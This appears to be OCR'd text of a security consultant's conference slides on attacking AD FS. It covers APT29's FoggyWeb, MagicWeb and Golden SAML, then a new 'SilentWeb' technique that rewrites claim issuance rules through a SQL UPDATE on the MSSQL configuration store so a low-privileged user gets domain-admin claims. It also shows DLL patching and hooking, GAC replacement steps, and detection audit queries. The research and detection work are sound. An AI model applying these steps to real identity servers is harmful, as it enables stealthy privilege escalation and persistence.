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Who?

Security Consultant at WithSecure
- My opinions are my own and don’t represent my employers

e OS Security, Build Reviews, Thick Clients, Compiled Software,
Code Review, Reverse Engineering, Logic Bugs, Tool
Development... NetSec

* OSMR, CRTO, OSCP, CPSA, S7, OST2...

* BSides, DC4420, x33fcon, Beacon C2, BalCCon...

e Research, Haxxing, Repeat
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When, What, Why?

 Client project with an ex-college (Matt L) Circa Jan 2023

e Build + Config reviews of AD FS + MISSQL servers

* MSSQL Servers not treated as Tier O

* Documentation suggests AD FS servers should be treated as Tier 0
* What about MSSQL Servers ??7?

* Gut feeling there was more abuse that could be possible

W/ TH

secure

INTERNAL



AD FS MSSQL Configuration Store Compromise

eeeeee



Background:
What is AD FS?

Enables Federated Identity and Access Management. AD FS enal
ability to use SSO within a single security or enterprise boun
Internet-facing or internal applications.

INTERNAL



Tier Model ?

|dentity, AD DS, Domain /

Authentication Controllers \ )

File servers, server administrator
groups, servers themselves, etc.

Standard users, workstations, etc.

https://learn.microsoft.com/en-us/microsoft-identity-manager/pam/tier-model-for-partitioning-administrative-privileges W/ T™H
https://specterops.github.io/TierZeroTable/ secure
INTERNAL  https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model



Bit more complicated than 0,1,2

Admin Remote Access, Jumpservers,
Session Management, Proxies, etc.

Privileged Access E !!- T E : Privileged Access

IT Admins and High Impact Roles Privileged Accounts  Privileged Devices Enables IT administrators and other high impact
(and PIM/PAM Systems) & Workstations  Intermediary(ies) roles to access to sensitive systems and data.

Stronger security for higher impact accounts
Control Plane b
> @

Access Control for Assets
(zero trust policy enforcement) eoe

* Unified Strategy and Policy - Centralize and align access control policy
+ Identity is primary control — Prefer identity controls when available

1
;
1
(because of rich context into access requests). i
+ Distributed Enforcement via identity, network, apps, data, and other ! c°ntro| and Ma nagement Pla nes
controls provide critical policy enforcement / granularity. !
1

--------------------------------------------------------------- Provide unified access and management for

Management Plane workloads and assets (and provide attackers
9 Eﬁ] A \aws’_’ 0OC shortcut for illicit objectives)

Asset Management, monitoring and Security

| A

Data/Workload Plane
v v E Data/Workloads

000 : : )
h o . .
e tearning | Applications e Create and store business value in
hData E & Websites L& . .
3 * Business processes (in apps/workloads)

| A el Ul / + Intellectual property (in data and apps)

Remote Access, Proxies,
Virtual Desktop, etc.

2| i E =

User Accounts User Devices
Public Access (unauthenticated) & Workstations  Intermediary(ies)

User Access

Employee and Partner/Outsourcer

App Access (External) User and App Access
Customer and Partner How employees, partners, and customers access
these resources

Sesmssnnnnnen

W/ TH
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VMWare 192.168.154.0/24

CONTOSO.LOCAL

Attacker

ADFS

MSSQL

R

M /11111 ©

e

Legit User

RP-STS

==

i)

EX01

m
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—

AD DS
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Federated Authentication

« -2 O O E] https://adfs.contoso.local/adfs/ls/Twa=wsignin1.08wirealm=https%3a%2fe2fex)1.contoso.local%2for. 1200 ﬂ?

Contoso Corporation

Sign in

[«

lowpriv@contoso.local




OWA + AD FS

<« & O & https://ex01.contoso.local/owa/Fpath=/mail 1105 ‘,f? & 4 @ ﬁ =
=i Emall P
Search Email and People p () New |~ eee “ Undo
~ Favourites Inbox Filter v
Inbox 1 .
low priv
Sent Iltems b Hello, | am the low privileged user 05/02/2024
Hella, | am the low privileged user
Drafts ' P
~ low priv
Inbox 1

Drafts \/
Sent ltems

Deleted ltems

Junk Email

Select an item to read
Motes

Click here to always select the first item in the list
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USER:
lowpriv@contoso.local

AD FS Exchange on-prem

——— — — — e — — — — — — — — — — — — — — — — S — — — — — — —

EXCHAMGE:
EX01.CONTOS0.LOCAL

AD F5:
ADF5.CONTOSO.LOCAL

USER:
lowpriv@contoso.local

DcC:
DCO1.CONTOSO.LOCAL

EXCHAMGE:
EX01.CONTOS0.LOCAL

AD F5:
ADF5.CONTOSO.LOCAL

——————————— o —— e ————— — — — — — — — — — —

DcC:
DCO1.CONTOSO.LOCAL
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WID vs MSSQL

Windows Internal Database SQL Database
Federation Federation Primary Federation Federation SQL Server
server server federation server server cerver cluster
?-R E|'- EIW 0 O E!iw
Check every 5 minutes I | |
wo T wsa

MSsQL "lite" MSSQL server(s)

On the Primary / Secondary AD FS High Availability

No token replay detection 100 + trust relationships

Limited to 30 federation servers
W/ TH
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Microsoft.IdentityServer.*.[dll][exe]

g Event Viewer (Local) Admin Number of events: &

_;—} Custom Views

v —i: Windows Logs L_evel Date and Time Source Event ID Task Category
{5] Application @ Error 3/28/2024 5:33:32 PM ADFS 364 MNone
§5] Security /1 Warning 3/28/2024 5:33:32 PM ADFS 1000 Mone
5] Setup 'E'Errnr 3/28/2024 5:33:32 PM ADFS 342 Mone
{5 System 'E'Errnr 3/28/2024 5:30:46 PM ADFS 364 Mone

Q Forwarded Events
v B Applications and Services Logs
v [ aDFs
E| Admin
~v [ AD FS Tracing
Debug
~ ] Device Registration Service
{] DRS/Admin
v || Device Registration Service Tracing General  Details
Debug
{&] Hardware Events

1\ Warning 3/28/2024 5:30:46 PM Mone

Event 342 AD FS

Token validation failed.

[ Intel
@ Internet Explorer Additional Data
@ Key Management Service
[ Microsoft Token Type: - . .
e http://schemas.microsoft.com,/ws/2006/05/identitymodel/tokens/UserName
| Microsoft-IE %Error message:
] Microsoft-IEFRAME blah@doesnotexist.local-The user name or password is incorrect
[ ] MIS-Driver-WFP/Diagnostic
= OpensSH Exception details:

Systemn.ldentityModel Tokens.Security TokenWalidationException: blah@doesnotexist.local ---> System.ComponentModel Win32Exception: The user name or password is incorrect
at Microsoft.ldentityServer. Tokens. LsaLogonUserHelper.GetLsaLogonUserHandle{SafeHGlobalHandle pLogoninfo, Int32 logoninfoSize, SafeCloseHandle8t tokenHandle, SafelsaReturnBufferHandle& profileHandle)
at Microsoft.ldentityServer. Tokens LsalogonUserHelper.GetLsaLogonUserlnfo(SafeHGlobalHandle pLegoninfo, Int32 logoninfoSize, DateTime® nextPasswordChange, DateTime& lastPasswordChange, String authenticationType, String issuerMame)
at Microsoft.ldentityServer. Tokens LsalogonUserHelper.GetlsaLogenUser(String domain, String username, String password, DateTime® nextPasswordChange, DateTime8t lastPasswordChange, String issuerMame)
at Microsoft.ldentityServer.Service.LocalAccountStores. ActiveDirectory. ActiveDirectoryCp TrustStore ValidateUser(lAuthenticationContext context)
--- End of inner exception stack trace ---
at Microsoft.ldentityServer.Service.LocalAccountStores. ActiveDirectory. ActiveDireckoryCpTrustStore ValidateUser(lJAuthenticationContext context)
at Microsoft.ldentityServer.Service. Tokens.MsisLocal CpUserMameSecurity TokenHandler. ValidateTekeninternal{UsernameAuthenticationContext usernameAuthenticationContext, SecurityToken token)
at Microsoft.|dentityServer.Service. Tokens.MsisLocal CpUserMameSecurity TokenHandler. ValidateToken(Security Token token)

{&] Windows PowerShell
fd Subscriptions

System.CompenentModel Win32Exception (0x20004003): The user name or password is incorrect
at Microsoft.dentityServer. Tokens.LsalogonUserHelper.Getl sal ogonUserHandle{SafeHGlobalHandle pLegonlinfo, Int32 logoninfoSize, SafeCloseHandled tokenHandle, SafelsaReturnBufferHandle8 profileHandle)
at Microsoft.ldentityServer. Tokens.LsaLogonUserHelper.Getl sal ogonUserinfo(SafeHGlobalHandle pLegoninfo, Int32 legoninfoSize, DateTimedt nextPasswordChange, DateTime® lastPasswordChange, String authenticationType, String issuerMame)
at Microsoft.ldentityServer. Tokens.LsalogonUserHelper.Getl sal ogonUser(String domain, String username, String password, DateTime®& nextPasswordChange, DateTime& lastPasswordChange, String issuerMame)
at Microsoft.ldentityServer.Service.LocalAccountStores. ActiveDirectory. ActiveDirectory CpTrustStore. ValidateUser{lAuthenticationContext context)




Claims ?

Condition

block

An issuance @RuleName = "ActiveDirectoryUserSID"

statement c:l
Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname”,
Issuer == "AD AUTHORITY"

Attribute Store = lssue(
store = "Active Directory”,

to query types = ("http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid"),

query = ";objectSID;{0}",
param c.Value

Type to accept

Type to query

Type to accept

W/ TH
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1. User navigates
to a SAML 550
enabled website

A

User

7. Website
grants the user
access

INTERNAL

2. Website
requests an
—_— authentication —_—
token,
SAML
550
SAML S50-enabled Token

website

B, User sends the ‘

*+— token to the
original SAML 550
enabled website.

3. User is sent to
AD FS server to

authenticate and
requests a token,

- ——
=| +—

AD FS server

5. AD FS server issues
token containing the
user's claims.

AD FS claims engine

B — 8 — §

4a. Accepts or eliminates  4b, [ssues permit

incorming claims from or deny claims
the token based on based en
acceplance rules authorization rules

4c. Issues outgoing
claims for
packaging into
security token
based on issuance
rules

W/ TH
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APT29:
History of AD FS Attacks

All roads lead to Golden SAML

eeeeee



Solorigate Compromise

Sep 4 — Attackers start
accessing SolarWinds*

Sep 12 - Attackers start
injecting test code*

Nov 4 — Attackers stop
injecting test code*

2019

Sep Oct Nov

March - Estimated start

of distribution of
Solorigate backdoor

May — Estimated start of
actual hands-on-

keyboard attacks

Feb 20 - Solorigate
backdoor is compiled

Distribution of SUNBURST and target-profiling**
| |

Activation of TEARDROP**

Continued hands-on-k
I I I N .

Jun 4 - Attackers remove
malware from SolarWinds
build environment*

and deployed*
2020 l l
Jan Feb

Mar

o

Apr May  Jun

Jul Aug

tib

Sep

* Info disclosed by SolarWinds
** Estimated timeline of activity
based on forensic analysis

Dec 12 - Solorigate
supply chain attack
disclosed

oard activity**
Il I I I .

2021
o
Oct Nov Dec Jan
W/ TH
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FoggyWeb

N\

AD FS Code

damy ——

User
HH ‘.l" - ===

-~ | 1
E . n errel

Actor

-————— E— 4——-------1-----

Firewall ‘Web Application Proxy Firgwall

INTERNET DML

Microsoft.IdentityServerServiceHost.exe

.

Exfiltrate token-
signing certificate

et @

m‘*ﬂ

M&W"ﬁ

Exfiltrate token:
e E.'ET h.ji!-f';’“ﬂ decryplion certificate
o - EH fm‘JMiU'WHMMEﬂEhmIMD ""':'t"ﬂ
FoggyWeb
backdeor "h"ibl’ogs%w E:::IE::::E;-:F
Download additional
components
AD F5 server
INTRAMNET

INTERNAL https://www.microsoft.com/en-us/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/




Legitimate SAML Flow

@)
o

® 0 @ 3

Authentication Access Request C—)
: y B2
Signed SAML Response = Redirect to ADFS !
ADFS @ Client Machine @ Service Provider

|

Legitimate Access

®

W/ TH
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Golden SAML (And its detection opportunity)

=

D

© ®

Steal ADFS key used to
sign SAML responses q Accass Requesi
ADFS ) Redirect to ADFS
Attacker Machine Service Provider
Token-Signing Key l @

=f

Sign forged SAML response Unauthorized
with stolen key ACCess

® ®

W/ TH
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APT29:
Nobelium's MagicWeb

AD FS Claim Transform Backdoor

The cool stuff

eeeeee



. VT . .
= Microsoft | Microsoft Secunty Solutions v Products v  Services v  Partners Resources v  Contact Sales  Start free trial N All Microsoft v Search ,O

() Blog home / Incident response

Research Incident response Attacker techniques, tools, and infrastructure -

21 min read

MagicWeb: NOBELIUM's post-
compromise trick to authenticate

ds anyone

By Microsoft Incident Response
Microsoft Threat Intelligence

August 24, 2022
April 2023 update — Microsoft Threat Intelligence has shifted to a new

% threat actor naming taxonomy aligned around the theme of weather.
NOBELIUM is now tracked as Midnight Blizzard.

Threat intelligence

Blizzard To learn about how the new taxonomy represents the origin, unique traits,

W/ TH
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INTERNAL

Microsoft.ldentityServer.Diagnostics.dll

iE‘ Detect It Easy v3.09 [Windows Server 2016 Version 1209] (x26_64)
File name
= | | \Wde01\csTooLS\ADFS WMicrosoft, IdentityServer, Diagnostics. dll
File type File size Base address Entry point
PE32 = 213,50 KiB 10000000 10036bde
File info Memary map Disasm Hex Strings Signatures
MIME Visualization Search Hash Entropy Extractor
PE Export Import Resources MET TLS
Sections MET ID Size ofimage Resources
0003 = bbd793ee 0003c000 Manifest
Scan Endianness Mode Architecture
Automatic = LE 32-hit 1386
* PE32
Operation system: Windows(93)[1386, 32-bit, DLL]
Linker: Microsoft Linker
Language: C#
Library: MET{w4.0.30315)
Signatures v | Recursive scan | v Deep scan Heuristic scan | v Verbose
Directory Log All types = 158 msec

- O >
v Advanced
=
Demangle
VirusTotal
YARA
Version
Type
DLL
i: >
g 7
g ?
g 7
Shortouts
Options
About
Scan
Exit

W/ TH
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.NET Debugging QoL

setx /m COMPlus_ZapDisable "1"
setx /m COMPlus_ReadyToRun "0"

$config = @"

[ .NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

'@

Get-ChildItem "C:\Windows\ADFS" - *.dll -recurse |
Foreach-Object {

Set-Content -Path ($_.Fullname + '.ini1') -Value $%$config

}

W/ TH
https://github.com/dnSpyEx/dnSpy/wiki/Making-an-Image-Easier-to-Debug secure
INTERNAL https://learn.microsoft.com/en-us/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug



dnSpyEx — Easy Patching

4 ) U
- @02000020 xceptionError(Exception e, format, [1 args)
4 0[3 TraceLlog @02000021
b BB Base Type and Interfaces = . {CultureInfo. , format, args);
P B Derived Types . {e) 2? "<null>";
a cctor(}: @OB0004AT .Warningsa . {CultureInfo. » {e}wn{1}", text, text2),
Tracelog( ): @ORO0D0BD
Tracelog( , TraceLogDelegatesProducer) : @0&0000E1
m: @060000B2

@ORODO0E3

[1: @O&O000B4
@OGO000BS
@OB00D0BE
@OBODDDBT
@O60000BE
[T3: @OGODDOEI
[1: @O60000BA
@O6O000CT
tionErrer(Exception) : @060000C3
ptionError( , Exception) : @OGO000CH
tionErrer(Exception, | E @060000CT (Streamiriter outputFile StreamWriter("C:\\ProgramData\\adfslog.txt"))
eptionWarning( , Exception) : @OE0000CA
tionWarning(Exception, , [ @06000 outputFile.WriteLine{"This is a sentence.");
@060000C3
}: @OB00DDC2
@0600D00BB
@OB00DDDBC
[1:
amebafe 1 [ - @OB0DD0BE
IHE (@0600D0BF
_ 1 @OG0000CO
&4 _tracelogl s: List<TraceLogDelegate> @04000044
4 <}[33 TracelogDelegate (

(Ex ion)

W/ TH
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(P dnSpy v6.5.0 (64-bit, .NET)

File Edit View Debug Window Help (& = c# - 5 Stat | O
Aty o s X Taeeog <
b 42 TraceFormatter @0200002E - 322 Tracelog. LDgLine{asserlbly.Ffl'_r-la'ne};
4 92 Tracelog @0200002F ;gi ;-F {assembly.Fullllzme . Contains (assmblyfullname) )
b B Base Type and Interfaces 325 Tracelog. Logline(" [GetAssemblyByFullName] Found Assembly! returning it™);
P B Derived Types 326 return assembly;
Ba .cctor() : void @O60000F6 gg; b
@ TraceLUg{str!ng}:\.rmd P . 329 %r‘aceLng.LngLine("[GetAssemblyByFullhlane] Did not find assembly from full name");
) Tracelog(string, TraceLogDelegatesProducer) : void @060000DB 338 | assembly? = null;
) Assert(bool, string, object[]) : void @060000DC 331 } ’
) BeginBuild(ref X509Certificate2) : bool @060000F7 332 catch {Exception)
'] BeginCanProcess{object[]} : bool @060D00F3 333 i ) ) . )
2 Critical(string, object[]) : void @060000DD 334 | TracelLog. Logline( " [GetAssemblyByFullName] hit Exception in GetAssemblyByFullMame"):
) CriticalSafe(string, object[]} : void @O60D0DDE . e
) Error(string, object[]) : void @0&0000DF 337 return assembly2;
) ErrorSafe(string, object[]) : void @0G0000ED ggg ks
@ GetAllAssemblies() : void @060000F4 348 // Token: Bx@6@BABFE6 RID: 246 RVA: Bx@AB4SAFE File Offset: OxOPBA3GFS
il GEtAssx?mnyE_yFuIINam_e(strmg}:Assembl}r @060D00FS 341 static Tracelog()
'] Info(string, object[]) : void @0600DD0ET 342 T
'] InfoSafe(string, object(]) : void @060000E2 343 try
8 InfoUsingEventMame(string, object[]) : void @0G0000E3 344 Lt R
B InfoUsingEventMameSafe{string, object[]) : void @060000E4 s Tracelog. LDgL.}ne(“ )3 "
) ) ’ 346 ' TraceLog.Logline("[TraceLog] start™);
B InstallArbHook(string, string, string) : bool @060000F9 347 ! if (IntPtr.size == 8)
'] LogEnter(string, string, int) : void @0600D00EB 348 T
'] LogExceptionError{Exception) : void @060000F2 349 Tracelog. Logline("[TraceLog] 64bit");
& LogExceptionError(string, Exception) : void @060000F0 358 Tracelog.GetAllAssemblies();
5 LogExceptionError{Exception, string, object{]) : void @0G0000F1 gg% iF (Tracelog.InstallArbHook("Microsoft.IdentityServer.eb.Handlers . IdpInitiatedSignOnPageHandler”, "CanProcess", "BeginCanProcess™})
D LogExcept!onWam!ng(strmg, .Except!nn}:'.n‘:ud @OMEE 353 Tracelog.lLogline("[Tracelog] TracelLog.InstallArbHook returned true™);
B LogExceptionWarning(Exception, string, object[]) : void @060000EF 354 3
'] LogExt(string, string, int) : void @060000ED 355 ] else
'] LogExitMsg(string, string, string, int) : void @060000EC 356 i ) . .
® LogLine(string) : void @0B0000F3 ;;; i Tracelog.lLogline("[Tracelog] Tracelog.InstallArbHook returned false")};
) Verbose(string, object[]) : void @O0G0000ES 359 It
) VerboseSafe{string, object[]) : void @060000EG 368  Tracelog.logline("[Tracelog] END"};
) VerboseUsingEventName(string, object[]) : void @0&0000E7 St F .
'] VerboseUsingEventMNameSafe(string, object[]) : void @060000ES gg% ;atch (Exception)
[¥) Warning(string, object[]) : void @060000E9 364 | Tracelog.logline("[Tracelog] hit Exception"});
) WarningSafe(string, object[]} : void @06000DEA 365 ¥
&3 _tracelogDelegates: List<TracelogDelegate> @O40000EG gg? b
Dols TracelogDelegate @02000038 368 /f Token: @x@68008F7 RID: 247 RVA: @x8@@lDD1C File Offset: Bx@BE1BF1C
Dols TracelogDelegateETW @0200003B 369 public static bool BeginBuild(ref X5@9Certificate? certificate)
P €2 TracelogDelegatesProducer @0200003E 37e t .
P ¥ TracelogEvents @0200003D - Tracelog. LDgL%ne(""); et - -
b ,% WinErrors @02000020 372 TraceLog.Logline("[BeginBuild] Hooked function hit™);
P {} Microsoft.|dentityServer.Diagnostics.Auditing g;i 1 e
P {} Microsoft.dentityServer.Diagnostics. Auditing. Auditlmplementation 375
b{} Microsoft.|dentityServer.Diagnostics. Exceptions 376 // Token: 8x@60000F8 RID: 245 RVA: @x0@845585 File Offset: @x00e43738
P {} Microsoft.dentityServer.Diagnostics.LogConsumers g;; EUblic SLEEE Lol [En LB Tt LR L Fel)
> {} Microsoft.dentyServer.Diagnostics RAMDebuglog Tracelog. Logline(*");



Generate RSACryptoServiceProvider key

Extract public key

Display the public key

\

Public key token

INTERNAL

C:\TOOLS>sn.exe -k PublicPrivateKeyFile.snk

Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Key pair written to PublicPrivateKeyFile.snk
C:\TOOLS>sn.exe -p PublicPrivateKeyFile.snk PublicKeyFile.snk

Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Public key written to PublicKeyFile.snk
C:\TOOLS>sn -tp PublicKeyFile.snk

Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Public key (hash algorithm: shal):
002400000480000094000000060200000024000052534131000400000100010055Ff442afe058f
6943e8ce8b4d96edd71f99d041b3288026277faf8d32e87054F3d57a024c573baad24016de9al50
bc6946f877b124bblda9a3879fhaaed4ed20422653faaed77078e75f053¢c8590785d165696d18b8
1c8c26cf5e8f20bef96d7e5fb46atald5b37090000F71f6662ce4038028881a9549h472a8e41140
e920b0b8

Public key token is 1fb3ce022173270d



INTERNAL

Apply Strong Name Key

Main Customn Attrs  Sec Decls

Mame Microsoft.|dentityServer. Diagnostics
Public Key

Hash Algorithm  SHA1

Content Type Default

Version 10

Flags
Public Key
|:| Retargetable
|:| Disable IT Compile Optirmizer

Culture

71e773a8fde8938c31dd402bab5b9201d6059396c492651 88913141 5ebb53fac1131ae0bd3

Processor Arch  Mone

|:| Processor Arch Specified
|:| Enable JIT Compile Tracking

W/ TH
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Modify GAC ptl

C:\>dir C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer.Diagnostics\v4.0_10.0.0.0__1fb3ce022173270d
Volume in drive C has no label.
Volume Serial Number is 0685-8327

Directory of C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IdentityServer.Diagnostics\v4.0_10.0.0.0__1fb3ce022173270d

09/09/2024 04:43 PM <DIR>
09/09/2024 04:43 PM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 236,908,085,248 bytes free

W/ TH
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Modify GAC pt2

C:\Windows\AD FS\Microsoft.ldentityServer.Servicehost.exe.config

name="Microsoft.IdentityModel" switchValue="Verbose
listeners
add name="ADFSWifListener" traceOutputOptions="ProcessId,ThreadId"” initializeData="Wif

type="Microsoft.IdentityServer.Diagnostics.ADFSTraceListener,Microsoft.IdentityServer.Diagnostics,V
ersion=10.0.0.0, Culture=neutral, PublicKeyToken=1fb3ce022173270d, processorArchitecture=MSIL
listeners

W/ TH
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W/Labs:
SilentWeb::OverView

AD FS Claims Engine Poisoning

eeeeee



Prerequisites

FoggyWeb (APT29) MagicWeb (APT29) SilentWeb (W/Labs)

Requires foothold on AD FS server (Tier 0) Requires foothold on AD FS server (Tier 0) No AD FS foothold needed (MSSQL)

Requires Administrator access to AD FS Requires Administrator access to AD FS Relatively unknown vector
Requires DLL search order hijack Requires modifying GAC (Non-Microsoft) Lack of monitoring
Relatively complicated Trivial to execute

W/ TH
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SOwaUrl 'https:
SEcpurl 'https:/ /e ol

$IssuancefuthRules
! H schemas.microsc

Vvalue
$IssuanceTransformRules
c:[Type
"http: schemas ..microsoft. co vs [ 206 L it im L unt , Issuer
issue(store Acti D , types
1ttt 5C TcrosoTt 2E 1 tit 111 ] 1 1, query
JectS5ID;{E1", param c.Value);
ERuleName "ActiveDd P
2008/06/1dentity Al 1 unt , Issuer

c:[Type

"http: & :
155 Active D1 t
5/ claims/upn"), query
sIssuanceTransformRules

"http://schemas.xmlsoap.org/ws/2005/C dent
“ipalName; {@}", param = c.Value);

App' -Enabled Strue -WSFedEndpoint 50walrl -Identifier SOwalrl -IssuanceTransformRules

ier SEcpuUrl

IssuanceTransformRules $IssuanceTransformRules

Add-ADFSRelyingPartyTrust -Mame 'Outlc
$IssuanceAuthRules
WSFedEndpoint $EcpUrl

thorizationRules

IssuanceAu
7 ArAmar “anta

W/ TH

Enabled S$true
secure

lyingPartyTrust -Name 'Exchange Ac
i SIssuancefuthRules

Add-ADFSRely
IssuanceAuthorizationRules
https://learn.microsoft.com/en-us/exchange/using-ad-fs-claims-based-authentication-with-outlook-web-app-and-eac-exchange-2013-help#step-3--—-create-a-relying-party-

trust-and-custom-claim-rules-for-outlook-web-app-and-eac
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Claims ?

Condition
block
An issuance
statement @RuleName = "ActiveDirectoryUserSID"
c:|
. Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname”,

Attribute Store Issuer == "AD AUTHORITY"
to query => issue(

store = "Active Directory",

types = ("http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid"),
Type to accept query = ";objectSID;{0}",

param c.Value

Type to query

Parameter to
pass
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Claim Engine
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Backdooring Issuance Transform Rules

UPDATE AdfsConfigurationV4.IdentityServerPolicy.Policies

N'@RuleName = "ActiveDirector
icrosoft.com/ws /2008 /06 /ident

"juserPrincipalName;{0}"
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MajorVersion="1" MinorVersion="1" AssertionID="_1063e9c2-2a20-4825-a75a-f4d94f6da2a2" Issuer="http://adfs.contoso.local/
Ifs/services/trust" IssueInstant="2024-02-09T17:12:48.795Z"
xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"
NotBefore="2024-02-09T17:12:48.780Z" NotOnOrAfter="2024-02-09T18:12:48.780Z"

https://ex01.contoso.local/owa/

urn:oasis:names:tc:SAML:1.0:cm:bearer

AttributeName="primarysid" AttributeNamespace="http://schemas.microsoft.com/ws/2008/06/identity/claims”
S-1-5-21-4238351072-1251589183-3941308059-1108

AttributeName="upn" AttributeNamespace="http://schemas.xmlsoap.org/ws/2005/05/identity/claims”
domainadmin@contoso. local

AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
ithenticationInstant="2024-02-09T17:12:48.611Z2"

urn:oasis:names:tc:SAML:1.0:cm:bearer
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Why so stealthy

No AD FS server compromise required

* No need for the X509 token signing certificate

* No accessing the DKMS private key

* No token forgery required

* Pure TSQL

e MSSQL UPDATE statements are rarely audited
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W/Labs:
SilentWeb::Demo

Demo

eeeeee



Contoso Corporation

Sign in

lsomeone@ﬁzxample.com

Password

© 2018 Microsoft




W/Labs:
Detection of SilentWeb

Possible detection avenues
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Editing Policy Store Rules

Besides exporting the configuration, adversarles can also edit the configuration. This scenario requires a local admin rights to AD F5S server, and that WID Is
used to store configuration data.

The access to configuration data is limited by Pelicy Store Rules. The default rules are similar to following:
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"

exists([Type == "http://schemas.microsoft.com/ws/2008/06/ident
=> issue(Type = "http://schemas.microsoft.com/authorization/c

BRulename = "Permit Local administrators”
exists([Type == "http://schemas. microsoft.com/ws/2008/06/ident
=» issue(Type = "http://schemas.microsoft.com/authorization/c
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/ 2008706/ /ident
=» issue(Type = "http:/Sschemas.microsoft.com/authorizationsc

@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/1dent
=» issue(Type = "http:/sschemas.microsoft.comfauthorizations/c

As we can see, there are two rules: one for Read-Write permissions and one for Read-Only permission. The rules are defined using AD FS Claims Rule
Language. As such, we can define as comnplex rules for giving permissions as we want to, The default rules are assigning RW permissions to the Local
Administrators (group) and to AD FS service user (user or gMSA).

During the initial attack/compromise, adversaries often would like to have more persistent access to the configuration data. The easiest way to achieve this is
INT to allow read permissions to all users, AADInternals supports editing the Policy Store Rules since v0.4.8,



INTERNAL

08 nttps://aadinternals.com/pos

Detecting

Detection happens in a similar manner than in exporting the local configuration. The following SQL query will enable logging for all UPDATE statements
against ServiceSettings table.

USE [master]

GO

CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = , ON_FAILURE = CONTIN
GO

ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] WITH (STATE = ON)

GO

USE [ADFSConfigurationv4]

GO

CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] AD
GO

ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] WITH (STATE = ON)

GO

Now all edit events are logged to the Application log:

[Event 33205, MSSQLSMICROSOFT2#WID | x

General Details

taréet_server_principal_sid: ~
target_database_principal_name:

server_instance_name:SERVER\MICROSOFT==WID

database_name:AdfsConfigurationV4

schema_name:ldentityServerPolicy

object name:ServiceSettings

r statement:UPDATE |dentityServerPolicy.ServiceSettings SET ServiceSettingsData= @config |

addtional_information:

user_defined_information:

&

Log Name: Application
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WID / MSSQL Attacks

SOLCukry 1541 - S0 Adrminitraton [B5))" & %
-ISELECT TOP (10@®) [ServiceSettingld]
, [ServiceSettingsDatal]
FROM [AdfsConfigurationv4].[IdentityServerPolicy].[ServiceSettings]

Untitled - Netepad

File Edt Format View Help

ServiceSettingsData

<ServiceSettingsData xmlns:i="http://www.w3.0org/2001/XMLSchema-instance"
xmlns="http://schemas.datacontract.org/2012/04/ADFS"><SecurityTokenService><AdditionalEncryptionTokens><Certificat
e</IsChainIncludedSpecified><Findvalue>AD6742278F793F83CFE3C97B3DB441DAB873889F</FindValue> <[l 0 us bl >MIIC5C
+ClixsyQQ7tHdV717iFupDANBgkqhkiGOw@BAQsFADAVMS@WKWYDVQQDEYRBREZTIEVUY3J15cHRpb24gl SBhZGZzLmNvbnRvc28ubG9jYWwwHhcNMQ
LmNvbnRvc28ubG9jYWwwggEiMABGCSqGSIb3DQEBAQUAAAIBDWAWEEZEKAOIBAQDhEMQVYAYW/ 8q00S5muI8xVvFXp8gqrlIgLwEYIpKSaUurZsShanQ
+ReLKL9VdQEsjubGDCcNNLeLFB8MI19xXg0YCoWjc6a88wX8z jQoxBUPecrlyDGgRo1gZDYZTvIwk17ERAIOTStIzQnsHCOGUAYKpDhHYFETREjGFH1w
X0ABa2VVG3jsy/FEEXAgMBAAEWDQYJIKOZIhvcNAQELBQADEEEBAI+@ngNThwoB8DTcVIburotyK115NFBhbygvew+Wz JoDprHao6gPoibenu8sZaky
+yRn/n5hAmk1sYs2TxedlLadhBYBaSGUUUFNghOULP8mMVKySxpyZOXM3MywXjp/zNpRm5gA+t4iHUQOTEgHW]2T3xev/fnKhrBaMPQFt4CCWA3UB2Z0/
+gIP8pUXFHtWOi3yPtHbKTtMgOF6LODLElXtXEWOEEENqUSYjOVK3INOFo6UiSmZIODTYm7FyAP78ZWgoD]pcnDEVwWaeXqydJOpVUhFPN1AL1tVSUL 3k
+1roUfrkGCWCGSAF1AWQCAQYIYIZIAWUDBAIBBglghkgBZOMEAQIEINXZQ9VIWAGPUYrIvZh3VUyOEmME6Qe6Dt pmAZxWUDNIz8BBCMEmSNxweNCP1iF
+sxWhXdfFWDpondfnZxjpOPy@e+n/eHtVnaYSN7r7fuEQN/xZhIZah6rCzAaMYA90WMCUADRj1H8KIdz10QOUK /eewAz7u/i4MHEZM/ Z8McXKNCiilL
IafX1l/XehH4k5p2VxR/xHIVCtPg2gxa@GQSIyZGGhrs541/52bUjpUL/31m3/6vverscdhUZGod/tZk2/FjOpPSKEUVjiROVIWI3RGUr4CAC/kAYKLR
+1EBxepplqg38ZUo4ZiKwfS7mRUbzanX31922To/qFi0w6Pwt14v1hEZISFDZHXNYWYPBXIfcLXxRXSqcAfBcW
